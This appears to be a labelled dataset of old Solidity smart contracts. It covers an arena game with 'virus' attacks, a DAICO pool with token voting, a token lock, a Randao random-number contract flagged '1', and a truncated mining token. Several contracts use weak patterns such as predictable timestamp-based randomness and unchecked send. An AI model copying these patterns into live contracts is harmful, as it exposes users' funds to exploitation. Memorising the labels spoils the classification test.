(virusDef, , , ,) = MemoryArena.getData(_defAddress);
if (virusDef == 0) return endAttack(_defAddress, true, 0, 0, SafeMath.mul(_virus, VIRUS_MINING_PERIOD), 0, 1, _programs);
Engineer.subVirus(msg.sender, _virus);
uint256[] memory programsValue = Factory.getProgramsValue();
firstAttack(_defAddress, SafeMath.mul(_virus, VIRUS_MINING_PERIOD), _programs, programsValue, virusDef);
}
function firstAttack(address _defAddress, uint256 _virus, uint256[] _programs, uint256[] programsValue, uint256 virusDef)
private
{
uint256 atk;
uint256 def;
uint256 virusAtkDead;
uint256 virusDefDead;
bool victory;
(atk, def, virusAtkDead, virusDefDead, victory) = getResultAtk(msg.sender, _defAddress, _virus, _programs, programsValue, virusDef, true);
if (_virus > virusAtkDead)
Engineer.addVirus(msg.sender, SafeMath.div(SafeMath.sub(_virus, virusAtkDead), VIRUS_MINING_PERIOD));
endAttack(_defAddress, victory, SafeMath.div(virusAtkDead, VIRUS_MINING_PERIOD), SafeMath.div(virusDefDead, VIRUS_MINING_PERIOD), atk, def, 1, _programs);
if (victory == false && _programs[1] == 1)
againAttack(_defAddress, SafeMath.div(SafeMath.mul(SafeMath.mul(_virus, VIRUS_MINING_PERIOD), programsValue[1]), 100), programsValue);
}
function againAttack(address _defAddress, uint256 _virus, uint256[] programsValue) private returns(bool victory)
{
uint256 virusDef;
(virusDef, , , ,) = MemoryArena.getData(_defAddress);
uint256[] memory programs;
uint256 atk;
uint256 def;
uint256 virusDefDead;
(atk, def, , virusDefDead, victory) = getResultAtk(msg.sender, _defAddress, _virus, programs, programsValue, virusDef, false);
endAttack(_defAddress, victory, 0, SafeMath.div(virusDefDead, VIRUS_MINING_PERIOD), atk, def, 2, programs);
}
function getResultAtk(address atkAddress, address defAddress, uint256 _virus, uint256[] _programs, uint256[] programsValue, uint256 virusDef, bool isFirstAttack)
private
returns(
uint256 atk,
uint256 def,
uint256 virusAtkDead,
uint256 virusDefDead,
bool victory
){
atk = _virus;
uint256 rateAtk = 50 + randomNumber(atkAddress, 1, 101);
uint256 rateDef = 50 + randomNumber(defAddress, rateAtk, 101);
if (_programs[0] == 1 && isFirstAttack == true)
atk += SafeMath.div(SafeMath.mul(atk, programsValue[0]), 100);
if (_programs[3] == 1 && isFirstAttack == true) {
virusDef = SafeMath.sub(virusDef, SafeMath.div(SafeMath.mul(virusDef, programsValue[3]), 100));
MemoryArena.setVirusDef(defAddress, virusDef);
}
atk = SafeMath.div(SafeMath.mul(SafeMath.mul(atk, viruses[VIRUS_NORMAL].atk), rateAtk), 100);
def = SafeMath.div(SafeMath.mul(SafeMath.mul(virusDef, viruses[VIRUS_NORMAL].def), rateDef), 100);
if (_programs[2] == 1 && isFirstAttack == true)
atk += SafeMath.div(SafeMath.mul(atk, programsValue[2]), 100);
if (atk >= def) {
virusAtkDead = SafeMath.min(_virus, SafeMath.div(SafeMath.mul(def, 100), SafeMath.mul(viruses[VIRUS_NORMAL].atk, rateAtk)));
virusDefDead = virusDef;
victory = true;
} else {
virusAtkDead = _virus;
virusDefDead = SafeMath.min(virusDef, SafeMath.div(SafeMath.mul(atk, 100), SafeMath.mul(viruses[VIRUS_NORMAL].def, rateDef)));
}
MemoryArena.setVirusDef(defAddress, SafeMath.sub(virusDef, virusDefDead));
}
function endAttack(address _defAddress, bool victory, uint256 virusAtkDead, uint256 virusDefDead, uint256 atk, uint256 def, uint256 round, uint256[] programs) private
{
uint256 reward = 0;
if (victory == true) {
uint256 pDefCrystals = Engineer.calCurrentCrystals(_defAddress);
uint256 rate = 10 + randomNumber(_defAddress, pDefCrystals, 41);
reward = SafeMath.div(SafeMath.mul(pDefCrystals, rate),100);
if (reward > 0) {
MiningWar.subCrystal(_defAddress, reward);
MiningWar.addCrystal(msg.sender, reward);
}
updateBonusPoint(msg.sender);
}
emit Attack(msg.sender, _defAddress, victory, reward, virusAtkDead, virusDefDead, atk, def, round);
if (round == 1) emit Programs( programs[0], programs[1], programs[2], programs[3]);
}
function updateBonusPoint(address _addr) private
{
uint256 nextTimeArenaBonus;
uint256 bonusPoint;
(,,,nextTimeArenaBonus, bonusPoint) = MemoryArena.getData(_addr);
if (now >= nextTimeArenaBonus) {
bonusPoint += 1;
}
if (bonusPoint == 3) {
bonusPoint = 0;
nextTimeArenaBonus = now + TIME_DAY;
uint256 noDayStartMiningWar = getNoDayStartMiningWar();
MiningWar.addCrystal(_addr, arenaBonus[noDayStartMiningWar - 1]);
emit ArenaBonus(_addr, arenaBonus[noDayStartMiningWar - 1]);
}
MemoryArena.setNextTimeArenaBonus(_addr, nextTimeArenaBonus);
MemoryArena.setBonusPoint(_addr, bonusPoint);
}
function validateAttack(address _atkAddress, address _defAddress) private view returns(bool _status)
{
uint256 nextTimeAtk;
(,nextTimeAtk,,,) = MemoryArena.getData(_atkAddress);
if (
_atkAddress != _defAddress &&
nextTimeAtk <= now &&
canAttack(_defAddress) == true
) {
_status = true;
}
}
function validatePrograms(uint256[] _programs) private pure returns(bool _status)
{
_status = true;
for(uint256 idx = 0; idx < _programs.length; idx++) {
if (_programs[idx] != 0 && _programs[idx] != 1) _status = false;
}
}
function canAttack(address _addr) private view returns(bool _canAtk)
{
uint256 endTimeUnequalledDef;
(,,endTimeUnequalledDef,,) = MemoryArena.getData(_addr);
if (
endTimeUnequalledDef < now &&
Engineer.calCurrentCrystals(_addr) >= 5000
) {
_canAtk = true;
}
}
function getData(address _addr)
public
view
returns(
uint256 _virusDef,
uint256 _nextTimeAtk,
uint256 _endTimeUnequalledDef,
bool _canAtk,
uint256 _currentVirus,
uint256 _currentCrystals
) {
(_virusDef, _nextTimeAtk, _endTimeUnequalledDef, ,) = MemoryArena.getData(_addr);
_virusDef = SafeMath.div(_virusDef, VIRUS_MINING_PERIOD);
_currentVirus = SafeMath.div(Engineer.calCurrentVirus(_addr), VIRUS_MINING_PERIOD);
_currentCrystals = Engineer.calCurrentCrystals(_addr);
_canAtk = canAttack(_addr);
}
function getDataForUI(address _addr)
public
view
returns(
uint256 _virusDef,
uint256 _nextTimeAtk,
uint256 _endTimeUnequalledDef,
uint256 _nextTimeArenaBonus,
uint256 _bonusPoint,
bool _canAtk,
uint256 _currentVirus,
uint256 _currentCrystals
) {
(_virusDef, _nextTimeAtk, _endTimeUnequalledDef, _nextTimeArenaBonus, _bonusPoint) = MemoryArena.getData(_addr);
_virusDef = SafeMath.div(_virusDef, VIRUS_MINING_PERIOD);
_currentVirus = SafeMath.div(Engineer.calCurrentVirus(_addr), VIRUS_MINING_PERIOD);
_currentCrystals = Engineer.calCurrentCrystals(_addr);
_canAtk = canAttack(_addr);
}
function randomNumber(address _addr, uint256 randNonce, uint256 _maxNumber) private view returns(uint256)
{
return uint256(keccak256(abi.encodePacked(now, _addr, randNonce))) % _maxNumber;
}
function getNoDayStartMiningWar() public view returns(uint256)
{
uint256 deadline = MiningWar.deadline();
if (deadline < now) return 7;
uint256 timeEndMiningWar = deadline - now;
uint256 noDayEndMiningWar = SafeMath.div(timeEndMiningWar, TIME_DAY);
return SafeMath.sub(7, noDayEndMiningWar);
}
} | 0 |
pragma solidity ^0.4.13;
contract ERC20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract PoolAndSaleInterface {
address public tokenSaleAddr;
address public votingAddr;
address public votingTokenAddr;
uint256 public tap;
uint256 public initialTap;
uint256 public initialRelease;
function setTokenSaleContract(address _tokenSaleAddr) external;
function startProject() external;
}
contract DaicoPool is PoolAndSaleInterface, Ownable {
using SafeMath for uint256;
address public tokenSaleAddr;
address public votingAddr;
address public votingTokenAddr;
uint256 public tap;
uint256 public initialTap;
uint256 public initialRelease;
uint256 public releasedBalance;
uint256 public withdrawnBalance;
uint256 public lastUpdatedTime;
uint256 public fundRaised;
uint256 public closingRelease = 30 days;
uint256 public refundRateNano = 0;
enum Status {
Initializing,
ProjectInProgress,
Destructed
}
Status public status;
event TapHistory(uint256 new_tap);
event WithdrawalHistory(string token, uint256 amount);
event Refund(address receiver, uint256 amount);
modifier onlyTokenSaleContract {
require(msg.sender == tokenSaleAddr);
_;
}
modifier onlyVoting {
require(msg.sender == votingAddr);
_;
}
modifier poolInitializing {
require(status == Status.Initializing);
_;
}
modifier poolDestructed {
require(status == Status.Destructed);
_;
}
constructor(address _votingTokenAddr, uint256 tap_amount, uint256 _initialRelease) public {
require(_votingTokenAddr != 0x0);
require(tap_amount > 0);
initialTap = tap_amount;
votingTokenAddr = _votingTokenAddr;
status = Status.Initializing;
initialRelease = _initialRelease;
votingAddr = new Voting(ERC20Interface(_votingTokenAddr), address(this));
}
function () external payable {}
function setTokenSaleContract(address _tokenSaleAddr) external {
require(tokenSaleAddr == address(0x0));
require(_tokenSaleAddr != address(0x0));
tokenSaleAddr = _tokenSaleAddr;
}
function startProject() external onlyTokenSaleContract {
require(status == Status.Initializing);
status = Status.ProjectInProgress;
lastUpdatedTime = block.timestamp;
releasedBalance = initialRelease;
updateTap(initialTap);
fundRaised = address(this).balance;
}
function withdraw(uint256 _amount) public onlyOwner {
require(_amount > 0);
uint256 amount = _amount;
updateReleasedBalance();
uint256 available_balance = getAvailableBalance();
if (amount > available_balance) {
amount = available_balance;
}
withdrawnBalance = withdrawnBalance.add(amount);
owner.transfer(amount);
emit WithdrawalHistory("ETH", amount);
}
function raiseTap(uint256 tapMultiplierRate) external onlyVoting {
updateReleasedBalance();
updateTap(tap.mul(tapMultiplierRate).div(100));
}
function selfDestruction() external onlyVoting {
status = Status.Destructed;
updateReleasedBalance();
releasedBalance = releasedBalance.add(closingRelease.mul(tap));
updateTap(0);
uint256 _totalSupply = ERC20Interface(votingTokenAddr).totalSupply();
refundRateNano = address(this).balance.sub(getAvailableBalance()).mul(10**9).div(_totalSupply);
}
function refund(uint256 tokenAmount) external poolDestructed {
require(ERC20Interface(votingTokenAddr).transferFrom(msg.sender, this, tokenAmount));
uint256 refundingEther = tokenAmount.mul(refundRateNano).div(10**9);
emit Refund(msg.sender, tokenAmount);
msg.sender.transfer(refundingEther);
}
function getReleasedBalance() public view returns(uint256) {
uint256 time_elapsed = block.timestamp.sub(lastUpdatedTime);
return releasedBalance.add(time_elapsed.mul(tap));
}
function getAvailableBalance() public view returns(uint256) {
uint256 available_balance = getReleasedBalance().sub(withdrawnBalance);
if (available_balance > address(this).balance) {
available_balance = address(this).balance;
}
return available_balance;
}
function isStateInitializing() public view returns(bool) {
return (status == Status.Initializing);
}
function isStateProjectInProgress() public view returns(bool) {
return (status == Status.ProjectInProgress);
}
function isStateDestructed() public view returns(bool) {
return (status == Status.Destructed);
}
function updateReleasedBalance() internal {
releasedBalance = getReleasedBalance();
lastUpdatedTime = block.timestamp;
}
function updateTap(uint256 new_tap) private {
tap = new_tap;
emit TapHistory(new_tap);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Voting{
using SafeMath for uint256;
address public votingTokenAddr;
address public poolAddr;
mapping (uint256 => mapping(address => uint256)) public deposits;
mapping (uint => bool) public queued;
uint256 proposalCostWei = 1 * 10**18;
uint256 public constant VOTING_PERIOD = 15 minutes;
struct Proposal {
uint256 start_time;
uint256 end_time;
Subject subject;
string reason;
mapping (bool => uint256) votes;
uint256 voter_count;
bool isFinalized;
uint256 tapMultiplierRate;
}
Proposal[] public proposals;
uint public constant PROPOSAL_EMPTY = 0;
enum Subject {
RaiseTap,
Destruction
}
event Vote(
address indexed voter,
uint256 amount
);
event ReturnDeposit(
address indexed voter,
uint256 amount
);
event ProposalRaised(
address indexed proposer,
string subject
);
constructor (
address _votingTokenAddr,
address _poolAddr
) public {
require(_votingTokenAddr != address(0x0));
require(_poolAddr != address(0x0));
votingTokenAddr = _votingTokenAddr;
poolAddr = _poolAddr;
Proposal memory proposal;
proposal.subject = Subject.RaiseTap;
proposal.reason = "PROPOSAL_HEADER";
proposal.start_time = block.timestamp -1;
proposal.end_time = block.timestamp -1;
proposal.voter_count = 0;
proposal.isFinalized = true;
proposals.push(proposal);
assert(proposals.length == 1);
}
function addRaiseTapProposal (
string _reason,
uint256 _tapMultiplierRate
) external payable returns(uint256) {
require(!queued[uint(Subject.RaiseTap)]);
require(100 < _tapMultiplierRate && _tapMultiplierRate <= 200);
uint256 newID = addProposal(Subject.RaiseTap, _reason);
proposals[newID].tapMultiplierRate = _tapMultiplierRate;
queued[uint(Subject.RaiseTap)] = true;
emit ProposalRaised(msg.sender, "RaiseTap");
}
function addDestructionProposal (string _reason) external payable returns(uint256) {
require(!queued[uint(Subject.Destruction)]);
addProposal(Subject.Destruction, _reason);
queued[uint(Subject.Destruction)] = true;
emit ProposalRaised(msg.sender, "SelfDestruction");
}
function vote (bool agree, uint256 amount) external {
require(ERC20Interface(votingTokenAddr).transferFrom(msg.sender, this, amount));
uint256 pid = this.getCurrentVoting();
require(pid != PROPOSAL_EMPTY);
require(proposals[pid].start_time <= block.timestamp);
require(proposals[pid].end_time >= block.timestamp);
if (deposits[pid][msg.sender] == 0) {
proposals[pid].voter_count = proposals[pid].voter_count.add(1);
}
deposits[pid][msg.sender] = deposits[pid][msg.sender].add(amount);
proposals[pid].votes[agree] = proposals[pid].votes[agree].add(amount);
emit Vote(msg.sender, amount);
}
function finalizeVoting () external {
uint256 pid = this.getCurrentVoting();
require(pid != PROPOSAL_EMPTY);
require(proposals[pid].end_time <= block.timestamp);
require(!proposals[pid].isFinalized);
proposals[pid].isFinalized = true;
if (isSubjectRaiseTap(pid)) {
queued[uint(Subject.RaiseTap)] = false;
if (isPassed(pid)) {
DaicoPool(poolAddr).raiseTap(proposals[pid].tapMultiplierRate);
}
} else if (isSubjectDestruction(pid)) {
queued[uint(Subject.Destruction)] = false;
if (isPassed(pid)) {
DaicoPool(poolAddr).selfDestruction();
}
}
}
function returnToken (address account) external returns(bool) {
uint256 amount = 0;
for (uint256 pid = 0; pid < proposals.length; pid++) {
if(!proposals[pid].isFinalized){
break;
}
amount = amount.add(deposits[pid][account]);
deposits[pid][account] = 0;
}
if(amount <= 0){
return false;
}
require(ERC20Interface(votingTokenAddr).transfer(account, amount));
emit ReturnDeposit(account, amount);
return true;
}
function returnTokenMulti (address[] accounts) external {
for(uint256 i = 0; i < accounts.length; i++){
this.returnToken(accounts[i]);
}
}
function getCurrentVoting () public view returns(uint256) {
for (uint256 i = 0; i < proposals.length; i++) {
if (!proposals[i].isFinalized) {
return i;
}
}
return PROPOSAL_EMPTY;
}
function isPassed (uint256 pid) public view returns(bool) {
require(proposals[pid].isFinalized);
uint256 ayes = getAyes(pid);
uint256 nays = getNays(pid);
uint256 absent = ERC20Interface(votingTokenAddr).totalSupply().sub(ayes).sub(nays);
return (ayes > nays.add(absent.div(6)));
}
function isStarted (uint256 pid) public view returns(bool) {
if (pid > getCurrentVoting()) {
return false;
} else if (block.timestamp >= proposals[pid].start_time) {
return true;
}
return false;
}
function isEnded (uint256 pid) public view returns(bool) {
if (pid > getCurrentVoting()) {
return false;
} else if (block.timestamp >= proposals[pid].end_time) {
return true;
}
return false;
}
function getReason (uint256 pid) external view returns(string) {
require(pid < proposals.length);
return proposals[pid].reason;
}
function isSubjectRaiseTap (uint256 pid) public view returns(bool) {
require(pid < proposals.length);
return proposals[pid].subject == Subject.RaiseTap;
}
function isSubjectDestruction (uint256 pid) public view returns(bool) {
require(pid < proposals.length);
return proposals[pid].subject == Subject.Destruction;
}
function getVoterCount (uint256 pid) external view returns(uint256) {
require(pid < proposals.length);
return proposals[pid].voter_count;
}
function getAyes (uint256 pid) public view returns(uint256) {
require(pid < proposals.length);
require(proposals[pid].isFinalized);
return proposals[pid].votes[true];
}
function getNays (uint256 pid) public view returns(uint256) {
require(pid < proposals.length);
require(proposals[pid].isFinalized);
return proposals[pid].votes[false];
}
function addProposal (Subject _subject, string _reason) internal returns(uint256) {
require(msg.value == proposalCostWei);
require(DaicoPool(poolAddr).isStateProjectInProgress());
poolAddr.transfer(msg.value);
Proposal memory proposal;
proposal.subject = _subject;
proposal.reason = _reason;
proposal.start_time = block.timestamp;
proposal.end_time = block.timestamp + VOTING_PERIOD;
proposal.voter_count = 0;
proposal.isFinalized = false;
proposals.push(proposal);
uint256 newID = proposals.length - 1;
return newID;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29721600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x94F2A79243093Fe1a9A26Fe76091372C7C493064;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity 0.4.19;
contract Randao {
struct Participant {
uint256 secret;
bytes32 commitment;
uint256 reward;
bool revealed;
bool rewarded;
}
struct Consumer {
address caddr;
uint256 bountypot;
}
struct Campaign {
uint32 bnum;
uint96 deposit;
uint16 commitBalkline;
uint16 commitDeadline;
uint256 random;
bool settled;
uint256 bountypot;
uint32 commitNum;
uint32 revealsNum;
mapping (address => Consumer) consumers;
mapping (address => Participant) participants;
}
uint256 public numCampaigns;
Campaign[] public campaigns;
address public founder;
modifier blankAddress(address _n) { if (_n != 0) revert(); _; }
modifier moreThanZero(uint256 _deposit) { if (_deposit <= 0) revert(); _; }
modifier notBeBlank(bytes32 _s) { if (_s == "") revert(); _; }
modifier beBlank(bytes32 _s) { if (_s != "") revert(); _; }
modifier beFalse(bool _t) { if (_t) revert(); _; }
function Randao() public {
founder = msg.sender;
}
event LogCampaignAdded(uint256 indexed campaignID,
address indexed from,
uint32 indexed bnum,
uint96 deposit,
uint16 commitBalkline,
uint16 commitDeadline,
uint256 bountypot);
modifier timeLineCheck(uint32 _bnum, uint16 _commitBalkline, uint16 _commitDeadline) {
if (block.number >= _bnum) revert();
if (_commitBalkline <= 0) revert();
if (_commitDeadline <= 0) revert();
if (_commitDeadline >= _commitBalkline) revert();
if (block.number >= _bnum - _commitBalkline) revert();
_;
}
function newCampaign(
uint32 _bnum,
uint96 _deposit,
uint16 _commitBalkline,
uint16 _commitDeadline
) payable
timeLineCheck(_bnum, _commitBalkline, _commitDeadline)
moreThanZero(_deposit) external returns (uint256 _campaignID) {
_campaignID = campaigns.length++;
Campaign storage c = campaigns[_campaignID];
numCampaigns++;
c.bnum = _bnum;
c.deposit = _deposit;
c.commitBalkline = _commitBalkline;
c.commitDeadline = _commitDeadline;
c.bountypot = msg.value;
c.consumers[msg.sender] = Consumer(msg.sender, msg.value);
LogCampaignAdded(_campaignID, msg.sender, _bnum, _deposit, _commitBalkline, _commitDeadline, msg.value);
}
event LogFollow(uint256 indexed CampaignId, address indexed from, uint256 bountypot);
function follow(uint256 _campaignID)
external payable returns (bool) {
Campaign storage c = campaigns[_campaignID];
Consumer storage consumer = c.consumers[msg.sender];
return followCampaign(_campaignID, c, consumer);
}
modifier checkFollowPhase(uint256 _bnum, uint16 _commitDeadline) {
if (block.number > _bnum - _commitDeadline) revert();
_;
}
function followCampaign(
uint256 _campaignID,
Campaign storage c,
Consumer storage consumer
) checkFollowPhase(c.bnum, c.commitDeadline)
blankAddress(consumer.caddr) internal returns (bool) {
c.bountypot += msg.value;
c.consumers[msg.sender] = Consumer(msg.sender, msg.value);
LogFollow(_campaignID, msg.sender, msg.value);
return true;
}
event LogCommit(uint256 indexed CampaignId, address indexed from, bytes32 commitment);
function commit(uint256 _campaignID, bytes32 _hs) notBeBlank(_hs) external payable {
Campaign storage c = campaigns[_campaignID];
commitmentCampaign(_campaignID, _hs, c);
}
modifier checkDeposit(uint256 _deposit) { if (msg.value != _deposit) revert(); _; }
modifier checkCommitPhase(uint256 _bnum, uint16 _commitBalkline, uint16 _commitDeadline) {
if (block.number < _bnum - _commitBalkline) revert();
if (block.number > _bnum - _commitDeadline) revert();
_;
}
function commitmentCampaign(
uint256 _campaignID,
bytes32 _hs,
Campaign storage c
) checkDeposit(c.deposit)
checkCommitPhase(c.bnum, c.commitBalkline, c.commitDeadline)
beBlank(c.participants[msg.sender].commitment) internal {
c.participants[msg.sender] = Participant(0, _hs, 0, false, false);
c.commitNum++;
LogCommit(_campaignID, msg.sender, _hs);
}
event LogReveal(uint256 indexed CampaignId, address indexed from, uint256 secret);
function reveal(uint256 _campaignID, uint256 _s) external {
Campaign storage c = campaigns[_campaignID];
Participant storage p = c.participants[msg.sender];
revealCampaign(_campaignID, _s, c, p);
}
modifier checkRevealPhase(uint256 _bnum, uint16 _commitDeadline) {
if (block.number <= _bnum - _commitDeadline) revert();
if (block.number >= _bnum) revert();
_;
}
modifier checkSecret(uint256 _s, bytes32 _commitment) {
if (keccak256(keccak256(_s)) != _commitment) revert();
_;
}
function revealCampaign(
uint256 _campaignID,
uint256 _s,
Campaign storage c,
Participant storage p
) checkRevealPhase(c.bnum, c.commitDeadline)
checkSecret(_s, p.commitment)
beFalse(p.revealed) internal {
p.secret = _s;
p.revealed = true;
c.revealsNum++;
c.random ^= uint256(keccak256(p.secret));
LogReveal(_campaignID, msg.sender, _s);
}
modifier bountyPhase(uint256 _bnum){ if (block.number < _bnum) revert(); _; }
function getRandom(uint256 _campaignID) external returns (uint256) {
Campaign storage c = campaigns[_campaignID];
return returnRandom(c);
}
function returnRandom(Campaign storage c) bountyPhase(c.bnum) internal returns (uint256) {
if (c.revealsNum == c.commitNum) {
c.settled = true;
return c.random;
}
}
function getMyBounty(uint256 _campaignID) external {
Campaign storage c = campaigns[_campaignID];
Participant storage p = c.participants[msg.sender];
transferBounty(c, p);
}
function transferBounty(
Campaign storage c,
Participant storage p
) bountyPhase(c.bnum)
beFalse(p.rewarded) internal {
if (c.revealsNum > 0) {
if (p.revealed) {
uint256 share = calculateShare(c);
returnReward(share, c, p);
}
} else {
returnReward(0, c, p);
}
}
function calculateShare(Campaign c) internal pure returns (uint256 _share) {
if (c.commitNum > c.revealsNum) {
_share = fines(c) / c.revealsNum;
} else {
_share = c.bountypot / c.revealsNum;
}
}
function returnReward(
uint256 _share,
Campaign storage c,
Participant storage p
) internal {
p.reward = _share;
p.rewarded = true;
if (!msg.sender.send(_share + c.deposit)) {
p.reward = 0;
p.rewarded = false;
}
}
function fines(Campaign c) internal pure returns (uint256) {
return (c.commitNum - c.revealsNum) * c.deposit;
}
function refundBounty(uint256 _campaignID) external {
Campaign storage c = campaigns[_campaignID];
returnBounty(c);
}
modifier campaignFailed(uint32 _commitNum, uint32 _revealsNum) {
if (_commitNum == _revealsNum && _commitNum != 0) revert();
_;
}
modifier beConsumer(address _caddr) {
if (_caddr != msg.sender) revert();
_;
}
function returnBounty(Campaign storage c)
bountyPhase(c.bnum)
campaignFailed(c.commitNum, c.revealsNum)
beConsumer(c.consumers[msg.sender].caddr) internal {
uint256 bountypot = c.consumers[msg.sender].bountypot;
c.consumers[msg.sender].bountypot = 0;
if (!msg.sender.send(bountypot)) {
c.consumers[msg.sender].bountypot = bountypot;
}
}
function getDoubleKeccak256(uint256 _s) public pure returns (bytes32) {
return keccak256(keccak256(_s));
}
function getKeccak256(uint256 _s) public pure returns (bytes32) {
return keccak256(_s);
}
function getBytes32(uint256 _s) public pure returns (bytes32) {
return bytes32(_s);
}
} | 1 |
pragma solidity ^0.4.21;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract _0xEtherToken is ERC20Interface {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol = "PoWEth";
string public name = "PoWEth Token";
uint8 public decimals = 8;
uint public _totalSupply = 10000000000000000;
uint public maxSupplyForEra = 5000000000000000;
uint public latestDifficultyPeriodStarted;
uint public tokensMinted;
uint public epochCount;
uint public _BLOCKS_PER_READJUSTMENT = 1024;
uint public _MINIMUM_TARGET = 2**16;
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget = _MAXIMUM_TARGET;
bytes32 public challengeNumber;
uint public rewardEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
mapping(bytes32 => bytes32) solutionForChallenge;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address private owner;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
function _0xEtherToken() public {
owner = msg.sender;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
if (digest != challenge_digest) revert();
if(uint256(digest) > miningTarget) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0)
revert();
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
assert(tokensMinted <= maxSupplyForEra);
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
emit Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
function _startNewMiningEpoch() internal {
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 19)
{
rewardEra = rewardEra + 1;
}
maxSupplyForEra = _totalSupply - _totalSupply / (2**(rewardEra + 1));
epochCount = epochCount.add(1);
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
challengeNumber = block.blockhash(block.number - 1);
}
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
uint targetEthBlocksPerDiffPeriod = _BLOCKS_PER_READJUSTMENT * 30;
if(ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod)
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)) / ethBlocksSinceLastDifficultyPeriod;
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
miningTarget = miningTarget.sub((miningTarget/2000).mul(excess_block_pct_extra));
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)) / targetEthBlocksPerDiffPeriod;
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000);
miningTarget = miningTarget.add((miningTarget/2000).mul(shortage_block_pct_extra));
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET)
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET)
{
miningTarget = _MAXIMUM_TARGET;
}
}
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
